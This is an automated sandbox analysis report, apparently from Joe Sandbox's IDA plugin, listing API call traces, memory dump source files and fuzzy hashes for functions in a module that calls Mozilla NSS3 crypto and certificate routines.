Part of subcall function 6CEA8F70: EnterCriticalSection.KERNEL32(?,?,?,00000002,?,?,?,6CE9DA9B,?,00000000,?,?,?,?,CE534353,?), ref: 6CEA9013
Part of subcall function 6CEA8F70: PR_Unlock.NSS3(?,?,?,?,00000002,?,?,?,6CE9DA9B,?,00000000,?,?,?,?,CE534353), ref: 6CEA9042
Part of subcall function 6CEA8F70: TlsGetValue.KERNEL32(?,?,00000002,?,?,?,6CE9DA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6CEA905A
Part of subcall function 6CEA8F70: EnterCriticalSection.KERNEL32(?,?,?,00000002,?,?,?,6CE9DA9B,?,00000000,?,?,?,?,CE534353,?), ref: 6CEA9073
Part of subcall function 6CEA8F70: PR_Unlock.NSS3(?,?,?,?,00000002,?,?,?,6CE9DA9B,?,00000000,?,?,?,?,CE534353), ref: 6CEA9111

PR_Unlock.NSS3(?,?,?,?,6CE9B266,6CEA15C6,?,?,6CEA15C6), ref: 6CE9E149

Memory Dump Source

Source File: 00000001.00000002.1923926179.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000001.00000002.1923899574.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924170636.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924283439.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924392670.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924426284.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924470792.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ce00000_file.jbxd

Similarity

API ID: CriticalSection$DeleteEnterK11_UnlockValuefree$FriendlyInternalLoggedSlot
String ID:
API String ID: 4224391822-0
Opcode ID: 486af36ff82f1462089c9cb67c479c77f79215748c6be4dbdf86ab71f91c6b03
Instruction ID: 64d7af96bcc7973c4631769b7b7c5a4697e266ea343607bffd1ef5ad7ab8bc70
Opcode Fuzzy Hash: 486af36ff82f1462089c9cb67c479c77f79215748c6be4dbdf86ab71f91c6b03
Instruction Fuzzy Hash: B3516774600B01CFDB10DF29C48476ABBF0BF44309F29896CDA998BB51E731E885CB82

Function 6CEABE90 Relevance: 7.6, APIs: 5, Instructions: 141COMMON

Download Yara Rule

APIs

SEC_ASN1EncodeItem_Util.NSS3(00000000,00000000,?,?), ref: 6CEABF06
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6CEABF56
PR_SetError.NSS3(FFFFE005,00000000,?,?,6CE89F71,?,?,00000000), ref: 6CEABF7F
CERT_DestroyCertificate.NSS3(00000000), ref: 6CEABFA9
SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6CEAC014

Memory Dump Source

Source File: 00000001.00000002.1923926179.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000001.00000002.1923899574.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924170636.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924283439.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924392670.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924426284.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924470792.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ce00000_file.jbxd

Similarity

API ID: Item_Util$Zfree$CertificateDestroyEncodeError
String ID:
API String ID: 3689625208-0
Opcode ID: e47395f6c12700ee136d30a6ad826809ace63f291d5ce5a7884581e5dff9b702
Instruction ID: bf18ab93d0c69f1b2c36f4294e62e59520d6fb96d83e6d339dfd963990a5af43
Opcode Fuzzy Hash: e47395f6c12700ee136d30a6ad826809ace63f291d5ce5a7884581e5dff9b702
Instruction Fuzzy Hash: 6841C975E012099FEB00CEA5CC41BBA77B5AF4920CF354128D915DBB41FB35D946CB91

Function 6CE7EDE0 Relevance: 7.6, APIs: 5, Instructions: 97COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6CE7EDFD
calloc.MOZGLUE(00000001,00000000), ref: 6CE7EE64
PR_SetError.NSS3(FFFFE8AC,00000000), ref: 6CE7EECC
memcpy.VCRUNTIME140(00000000,?,?), ref: 6CE7EEEB
free.MOZGLUE(?), ref: 6CE7EEF6

Memory Dump Source

Source File: 00000001.00000002.1923926179.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000001.00000002.1923899574.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924170636.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924283439.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924392670.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924426284.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924470792.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ce00000_file.jbxd

Similarity

API ID: ErrorValuecallocfreememcpy
String ID:
API String ID: 3833505462-0
Opcode ID: 9c280ad588ec1803e899fb554f736a25859d813697620b24472c465e0afd233b
Instruction ID: 7969b4557b9bf9818d6713a24d86d6c14b26aacfa6b56c173d4af2d9f8338f0c
Opcode Fuzzy Hash: 9c280ad588ec1803e899fb554f736a25859d813697620b24472c465e0afd233b
Instruction Fuzzy Hash: 9931D671A00A01AFEB309F2CCC457A67BB4FB46318F240929E95A87B50EB31E554C7E2

Function 6CE91F10 Relevance: 7.6, APIs: 5, Instructions: 96COMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800), ref: 6CE91F1C

Part of subcall function 6CEE0FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6CE887ED,00000800,6CE7EF74,00000000), ref: 6CEE1000
Part of subcall function 6CEE0FF0: PR_NewLock.NSS3(?,00000800,6CE7EF74,00000000), ref: 6CEE1016
Part of subcall function 6CEE0FF0: PL_InitArenaPool.NSS3(00000000,security,6CE887ED,00000008,?,00000800,6CE7EF74,00000000), ref: 6CEE102B

SEC_ASN1EncodeItem_Util.NSS3(00000000,0000000100000017,FFFFFFFF,6CFA9EBC), ref: 6CE91FB8
SEC_ASN1EncodeItem_Util.NSS3(6CFA9E9C,?,?,6CFA9E9C), ref: 6CE9200A
PR_SetError.NSS3(FFFFE022,00000000), ref: 6CE92020

Part of subcall function 6CE86A60: PORT_ArenaAlloc_Util.NSS3(?,?,?,?,?,?,?,6CE8AD50,?,?), ref: 6CE86A98

PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6CE92030

Memory Dump Source

Source File: 00000001.00000002.1923926179.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000001.00000002.1923899574.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924170636.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924283439.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924392670.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924426284.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924470792.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ce00000_file.jbxd

Similarity

API ID: Util$ArenaArena_EncodeItem_$Alloc_ErrorFreeInitLockPoolcalloc
String ID:
API String ID: 1390266749-0
Opcode ID: ee291e331d1fe9f5e34e84b0eafc4afcdea09f17c75646abb5644981af1b7dde
Instruction ID: 6fab48af93ac1063badbbe57d26904b9a16d32bbd6611ac75c68a54b62635df1
Opcode Fuzzy Hash: ee291e331d1fe9f5e34e84b0eafc4afcdea09f17c75646abb5644981af1b7dde
Instruction Fuzzy Hash: D5214876901505BBEB009A55DC41FAA777CFF5631CF340224E82996F80E732E529C7E1

Function 6CE81DD0 Relevance: 7.6, APIs: 5, Instructions: 81timeCOMMON

Download Yara Rule

APIs

DER_DecodeTimeChoice_Util.NSS3(?,?), ref: 6CE81E0B
DER_DecodeTimeChoice_Util.NSS3(?,?), ref: 6CE81E24
PR_SetError.NSS3(FFFFE005,00000000), ref: 6CE81E3B
PR_SetError.NSS3(FFFFE00B,00000000), ref: 6CE81E8A
PR_SetError.NSS3(FFFFE00B,00000000), ref: 6CE81EAD

Memory Dump Source

Source File: 00000001.00000002.1923926179.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000001.00000002.1923899574.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924170636.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924283439.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924392670.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924426284.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924470792.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ce00000_file.jbxd

Similarity

API ID: Error$Choice_DecodeTimeUtil
String ID:
API String ID: 1529734605-0
Opcode ID: 84385515363b1c7e8a9ceec3eb87c12c45ab447ddd18d79337aea4c046aca9c5
Instruction ID: 382c8ff7e82a370c72e8d77d15c25fb671b81585a18b31648edcd90b11356b5b
Opcode Fuzzy Hash: 84385515363b1c7e8a9ceec3eb87c12c45ab447ddd18d79337aea4c046aca9c5
Instruction Fuzzy Hash: FC21F572E05714A7E7008EE8DC40B9BB3B49B89369F244638ED6D5B781E730D90987E2

Function 6CF91E40 Relevance: 7.6, APIs: 5, Instructions: 75threadCOMMON

Download Yara Rule

APIs

PR_GetCurrentThread.NSS3 ref: 6CF91E5C

Part of subcall function 6CF49BF0: TlsGetValue.KERNEL32(?,?,?,6CF90A75), ref: 6CF49C07

PR_Lock.NSS3(00000000), ref: 6CF91E75
PR_SetError.NSS3(FFFFE89D,00000000), ref: 6CF91EAB
PR_GetCurrentThread.NSS3 ref: 6CF91ED0
PR_Unlock.NSS3(?), ref: 6CF91EE8

Memory Dump Source

Source File: 00000001.00000002.1923926179.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000001.00000002.1923899574.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924170636.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924283439.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924392670.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924426284.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924470792.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ce00000_file.jbxd

Similarity

API ID: CurrentThread$ErrorLockUnlockValue
String ID:
API String ID: 121300776-0
Opcode ID: dd4bbb5d43763d8ed93ea8541975430cbe6aa8e3e15fe3adb346cbfce2c65fab
Instruction ID: 4c7ab93bd87fbacaec2a1d6a9ebd5ad90f0a4db4e28f28edc3bdcb50287ff680
Opcode Fuzzy Hash: dd4bbb5d43763d8ed93ea8541975430cbe6aa8e3e15fe3adb346cbfce2c65fab
Instruction Fuzzy Hash: DB21FF75B04512ABEB50EF19D840A86B7B8FF44718B24C239D8158BB41D730F920CBC1

Function 6CEDBE60 Relevance: 7.6, APIs: 5, Instructions: 74memoryCOMMON

Download Yara Rule

APIs

SECOID_FindOIDByTag_Util.NSS3(00000000,00000000,00000000,00000000,?,6CE8E708,00000000,00000000,00000004,00000000), ref: 6CEDBE6A

Part of subcall function 6CEE0840: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6CEE08B4

SECITEM_CopyItem_Util.NSS3(00000000,?,00000000,00000000,?,?,?,?,?,?,?,00000000,?,?,6CE904DC,?), ref: 6CEDBE7E

Part of subcall function 6CEDFB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6CED8D2D,?,00000000,?), ref: 6CEDFB85
Part of subcall function 6CEDFB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6CEDFBB1

SECITEM_CopyItem_Util.NSS3(?,?,?,?,?,?,00000000,?,?,?,?,?,?,?,00000000,?), ref: 6CEDBEC2
PR_SetError.NSS3(FFFFE006,00000000,00000000,?,?,?,?,?,?,?,00000000,?,?,6CE904DC,?,?), ref: 6CEDBED7
SECITEM_AllocItem_Util.NSS3(?,?,00000002,?,?,?,00000000,?,?,?,?,?,?,?,00000000,?), ref: 6CEDBEEB

Memory Dump Source

Source File: 00000001.00000002.1923926179.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000001.00000002.1923899574.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924170636.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924283439.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924392670.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924426284.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924470792.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ce00000_file.jbxd

Similarity

API ID: Util$Item_$CopyError$AllocAlloc_ArenaFindTag_memcpy
String ID:
API String ID: 1367977078-0
Opcode ID: f1b67ade3d5cf8085e025b4fa9cc4ed7ec3452d35d0e67ef7d4996e844efd303
Instruction ID: 5a7c7731018974f1f8efe26149846c35e7534b5b4bf4fc69ef8b9af56a5a6cf2
Opcode Fuzzy Hash: f1b67ade3d5cf8085e025b4fa9cc4ed7ec3452d35d0e67ef7d4996e844efd303
Instruction Fuzzy Hash: 84110466E0430A67E7008965AC82F5B737D9B4175CF364125FE0487B52FB31F80687E2

Function 6CE8AD90 Relevance: 7.6, APIs: 5, Instructions: 72memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(00000000,?,6CE83FFF,00000000,?,?,?,?,?,6CE81A1C,00000000,00000000), ref: 6CE8ADA7

Part of subcall function 6CEE14C0: TlsGetValue.KERNEL32 ref: 6CEE14E0
Part of subcall function 6CEE14C0: EnterCriticalSection.KERNEL32 ref: 6CEE14F5
Part of subcall function 6CEE14C0: PR_Unlock.NSS3 ref: 6CEE150D

PORT_ArenaAlloc_Util.NSS3(00000000,00000020,?,?,6CE83FFF,00000000,?,?,?,?,?,6CE81A1C,00000000,00000000), ref: 6CE8ADB4

Part of subcall function 6CEE10C0: TlsGetValue.KERNEL32(?,6CE88802,00000000,00000008,?,6CE7EF74,00000000), ref: 6CEE10F3
Part of subcall function 6CEE10C0: EnterCriticalSection.KERNEL32(?,?,6CE88802,00000000,00000008,?,6CE7EF74,00000000), ref: 6CEE110C
Part of subcall function 6CEE10C0: PL_ArenaAllocate.NSS3(?,?,?,6CE88802,00000000,00000008,?,6CE7EF74,00000000), ref: 6CEE1141
Part of subcall function 6CEE10C0: PR_Unlock.NSS3(?,?,?,6CE88802,00000000,00000008,?,6CE7EF74,00000000), ref: 6CEE1182
Part of subcall function 6CEE10C0: TlsGetValue.KERNEL32(?,6CE88802,00000000,00000008,?,6CE7EF74,00000000), ref: 6CEE119C

SECITEM_CopyItem_Util.NSS3(00000000,?,6CE83FFF,?,?,?,?,6CE83FFF,00000000,?,?,?,?,?,6CE81A1C,00000000), ref: 6CE8ADD5

Part of subcall function 6CEDFB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6CED8D2D,?,00000000,?), ref: 6CEDFB85
Part of subcall function 6CEDFB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6CEDFBB1

SEC_QuickDERDecodeItem_Util.NSS3(00000000,00000000,6CFA94B0,?,?,?,?,?,?,?,?,6CE83FFF,00000000,?), ref: 6CE8ADEC

Part of subcall function 6CEDB030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6CFB18D0,?), ref: 6CEDB095

PR_SetError.NSS3(FFFFE022,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,6CE83FFF), ref: 6CE8AE3C

Memory Dump Source

Source File: 00000001.00000002.1923926179.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000001.00000002.1923899574.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924170636.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924283439.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924392670.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924426284.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924470792.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ce00000_file.jbxd

Similarity

API ID: Util$Arena$Value$Alloc_CriticalEnterErrorItem_SectionUnlock$AllocateCopyDecodeMark_Quickmemcpy
String ID:
API String ID: 2372449006-0
Opcode ID: d46b3c3795dc85771639573b03105bf5ae80fb965bddcb339766e0bd85bdb225
Instruction ID: 7d1f12ba8015cd4dff2ad4257877104431b622705e474f9684198b3010c5be52
Opcode Fuzzy Hash: d46b3c3795dc85771639573b03105bf5ae80fb965bddcb339766e0bd85bdb225
Instruction Fuzzy Hash: 3D113872E003045BF7109B659C40BBF73F8DF9524DF24862CEC1996782FB20E99982E2

Function 6CE98FE0 Relevance: 7.6, APIs: 5, Instructions: 63threadCOMMON

Download Yara Rule

APIs

PR_GetThreadPrivate.NSS3(FFFFFFFF,?,6CEA0710), ref: 6CE98FF1
PR_CallOnce.NSS3(6CFE2158,6CE99150,00000000,?,?,?,6CE99138,?,6CEA0710), ref: 6CE99029
calloc.MOZGLUE(00000001,00000000,?,?,6CEA0710), ref: 6CE9904D
memcpy.VCRUNTIME140(00000000,00000000,00000000,?,?,?,?,6CEA0710), ref: 6CE99066
PR_SetThreadPrivate.NSS3(00000000,?,?,?,?,6CEA0710), ref: 6CE99078

Memory Dump Source

Source File: 00000001.00000002.1923926179.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000001.00000002.1923899574.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924170636.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924283439.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924392670.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924426284.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924470792.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ce00000_file.jbxd

Similarity

API ID: PrivateThread$CallOncecallocmemcpy
String ID:
API String ID: 1176783091-0
Opcode ID: fe78bb693641900eea0355d27d67d1fb2ac8ac8a8197cbe5058b4e9fe2645ab7
Instruction ID: 333389d41dc990366dd978ca0b7807ca86662b6d7c450c1cc84cfca8b8bb814b
Opcode Fuzzy Hash: fe78bb693641900eea0355d27d67d1fb2ac8ac8a8197cbe5058b4e9fe2645ab7
Instruction Fuzzy Hash: C2110821B101116BEB6016AAAC44BA637BCEB827ACF600131FD6CC6B51F797CD5593F1

Function 6CEACD80 Relevance: 7.6, APIs: 5, Instructions: 60COMMON

Download Yara Rule

APIs

Part of subcall function 6CEC1E10: TlsGetValue.KERNEL32 ref: 6CEC1E36
Part of subcall function 6CEC1E10: EnterCriticalSection.KERNEL32(?,?,?,6CE9B1EE,2404110F,?,?), ref: 6CEC1E4B
Part of subcall function 6CEC1E10: PR_Unlock.NSS3 ref: 6CEC1E76

free.MOZGLUE(?,6CEAD079,00000000,00000001), ref: 6CEACDA5
PK11_FreeSymKey.NSS3(?,6CEAD079,00000000,00000001), ref: 6CEACDB6
SECITEM_ZfreeItem_Util.NSS3(?,00000001,6CEAD079,00000000,00000001), ref: 6CEACDCF
DeleteCriticalSection.KERNEL32(?,6CEAD079,00000000,00000001), ref: 6CEACDE2
free.MOZGLUE(?), ref: 6CEACDE9

Memory Dump Source

Source File: 00000001.00000002.1923926179.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000001.00000002.1923899574.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924170636.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924283439.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924392670.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924426284.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924470792.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ce00000_file.jbxd

Similarity

API ID: CriticalSectionfree$DeleteEnterFreeItem_K11_UnlockUtilValueZfree
String ID:
API String ID: 1720798025-0
Opcode ID: 8b1ca494a29066d4e82fad7eac5b32dc70e0d2c6d7247f9c9b6c801633484f10
Instruction ID: 5efea08c64a25f8eb8be8781bfa99da697b5763812460ff792ffaaae5a01b41c
Opcode Fuzzy Hash: 8b1ca494a29066d4e82fad7eac5b32dc70e0d2c6d7247f9c9b6c801633484f10
Instruction Fuzzy Hash: E511CEB6B01211AFDB00AFA5EC84A96B77CFF0426C7244121E919CBE01E732F425C7E2

Function 6CF12CC0 Relevance: 7.6, APIs: 5, Instructions: 55COMMON

Download Yara Rule

APIs

Part of subcall function 6CF15B40: PR_GetIdentitiesLayer.NSS3 ref: 6CF15B56

PR_SetError.NSS3(FFFFE005,00000000), ref: 6CF12CEC

Part of subcall function 6CF2C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CF2C2BF

PR_EnterMonitor.NSS3(?), ref: 6CF12D02
PR_EnterMonitor.NSS3(?), ref: 6CF12D1F
PR_ExitMonitor.NSS3(?), ref: 6CF12D42
PR_ExitMonitor.NSS3(?), ref: 6CF12D5B

Memory Dump Source

Source File: 00000001.00000002.1923926179.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000001.00000002.1923899574.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924170636.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924283439.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924392670.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924426284.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924470792.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ce00000_file.jbxd

Similarity

API ID: Monitor$EnterExit$ErrorIdentitiesLayerValue
String ID:
API String ID: 1593528140-0
Opcode ID: 4ef27760c05e354bdbdc14a9bf5efb7db43890b1c91ebd88415995a73019c396
Instruction ID: 448b6e24d7f9dac11e6fb55ebbf9e896839946fc9d799212a33f43978e7dd450
Opcode Fuzzy Hash: 4ef27760c05e354bdbdc14a9bf5efb7db43890b1c91ebd88415995a73019c396
Instruction Fuzzy Hash: 7501C4B1A142005BE7309F69FC40BC7B7A5FF46318F008525E85A86F21EA33F9158792

Function 6CF12D70 Relevance: 7.6, APIs: 5, Instructions: 55COMMON

Download Yara Rule

APIs

Part of subcall function 6CF15B40: PR_GetIdentitiesLayer.NSS3 ref: 6CF15B56

PR_SetError.NSS3(FFFFE005,00000000), ref: 6CF12D9C

Part of subcall function 6CF2C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CF2C2BF

PR_EnterMonitor.NSS3(?), ref: 6CF12DB2
PR_EnterMonitor.NSS3(?), ref: 6CF12DCF
PR_ExitMonitor.NSS3(?), ref: 6CF12DF2
PR_ExitMonitor.NSS3(?), ref: 6CF12E0B

Memory Dump Source

Source File: 00000001.00000002.1923926179.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000001.00000002.1923899574.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924170636.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924283439.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924392670.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924426284.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924470792.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ce00000_file.jbxd

Similarity

API ID: Monitor$EnterExit$ErrorIdentitiesLayerValue
String ID:
API String ID: 1593528140-0
Opcode ID: 1e9434b66f5bacf9a806f1db442a6747708187bc64aeee5eb685236fa59530ec
Instruction ID: aaa56ecbffbe1551f82f70db334c7deb7d2440eece936f8f1fabea9985b1825b
Opcode Fuzzy Hash: 1e9434b66f5bacf9a806f1db442a6747708187bc64aeee5eb685236fa59530ec
Instruction Fuzzy Hash: 0B01C4B1A142045FEB309E69FC01BC7B7A5EF42318F004435E85A86F21DA33F9258793

Function 6CEAAE30 Relevance: 7.6, APIs: 5, Instructions: 54COMMON

Download Yara Rule

APIs

Part of subcall function 6CE93090: PORT_NewArena_Util.NSS3(00000800,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6CEAAE42), ref: 6CE930AA
Part of subcall function 6CE93090: PORT_ArenaAlloc_Util.NSS3(00000000,000000AC,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CE930C7
Part of subcall function 6CE93090: memset.VCRUNTIME140(-00000004,00000000,000000A8), ref: 6CE930E5
Part of subcall function 6CE93090: SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6CE93116
Part of subcall function 6CE93090: SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6CE9312B
Part of subcall function 6CE93090: PK11_DestroyObject.NSS3(?,?), ref: 6CE93154
Part of subcall function 6CE93090: PORT_FreeArena_Util.NSS3(00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CE9317E

SECKEY_DestroyPublicKey.NSS3(00000000,?,00000000,?,6CE899FF,?,?,?,?,?,?,?,?,?,6CE82D6B,?), ref: 6CEAAE67
SECITEM_DupItem_Util.NSS3(-00000014,?,00000000,?,6CE899FF,?,?,?,?,?,?,?,?,?,6CE82D6B,?), ref: 6CEAAE7E
SECKEY_DestroyPublicKey.NSS3(00000000,?,?,?,?,?,?,?,?,?,6CE82D6B,?,?,00000000), ref: 6CEAAE89
PK11_MakeIDFromPubKey.NSS3(00000000,?,?,?,?,?,?,?,?,?,?,6CE82D6B,?,?,00000000), ref: 6CEAAE96
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001,?,?,?,?,?,?,?,?,?,?,?,6CE82D6B,?,?), ref: 6CEAAEA3

Memory Dump Source

Source File: 00000001.00000002.1923926179.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000001.00000002.1923899574.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924170636.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924283439.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924392670.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924426284.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
